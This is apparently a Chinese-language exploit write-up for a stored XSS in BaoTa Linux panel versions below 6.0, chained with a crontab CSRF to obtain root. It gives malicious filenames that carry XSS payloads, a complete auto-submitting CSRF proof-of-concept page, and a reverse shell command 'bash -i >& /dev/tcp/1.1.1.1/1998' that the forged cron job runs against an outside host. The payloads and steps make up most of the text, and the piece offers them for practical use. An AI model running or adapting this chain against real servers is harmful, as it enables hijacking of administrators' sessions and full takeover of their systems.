宝塔linux面板 <6.0 存储形xss 0day漏洞getshell

漏洞描述

宝塔面板是什么就不说了,小于6.0的版本存在存储性xss,该版本比较古老了,如果遇到了还是可以一用。

漏洞影响

宝塔Linux面板<6.0

漏洞复现

假设我们已经通过网站漏洞或者ftp弱口令等,可以在web目录下进行文件上传

在web目录下上传一个文件名为 <img src=x onerror="alert(1)">的文件

1

在宝塔后台浏览文件,触发payload

2

但是由于宝塔的session加了httponly,所以我们是无法获取到宝塔的cookie的,但是我们可以配合计划任务的一个csrf的漏洞来达到权限提升的效果

POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://1.1.1.1:8888/crontab?action=AddCrontab" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="type" value="minute-n" />
      <input type="hidden" name="where1" value="5" />
      <input type="hidden" name="hour" value="" />
      <input type="hidden" name="minute" value="" />
      <input type="hidden" name="week" value="" />
      <input type="hidden" name="sType" value="toShell" />
      <input type="hidden" name="sBody" value="bash -i >& /dev/tcp/1.1.1.1/1998 0>&1" />
      <input type="hidden" name="sName" value="" />
      <input type="hidden" name="backupTo" value="localhost" />
      <input type="hidden" name="urladdress" value="" />
      <input type="hidden" name="save" value="" />
      <input type="hidden" name="sBody" value="bash -i >& /dev/tcp/1.1.1.1/1998 0>&1" />
      <input type="hidden" name="urladdress" value="" />
      <input type="submit" id="a" value="Submit request" />
    </form>
  </body>
  <script>
    document.getElementById('a').click()
</script>
</html>

修改poc中的ip地址,保存到网页上传到test.com中,当宝塔管理员访问这个页面以后,会自动跳转到

3

后台会自动添加反弹shell的计划任务

4

5

现在准备就绪,只要让管理员打开这个网页就可以了

回到上传文件的地方,因为有触发点有字符数限制,所以用多个语句构造,因为执行顺序的关系,可能需要刷新一下文件管理即可触发

6

新建三个文件,文件名分别为

a<img src=x onerror="a=String.fromCharCode(47)">
b<img src=x onerror="b='.com'">
c<img src=x onerror="window.open(a+a+'test'+b)">

payload触发以后会自动打开test.com网页

7

将上一步CSRF的payload部署到test.com,管理员浏览文件的时候即可触发,触发后五分钟会反弹shell

8

root权限~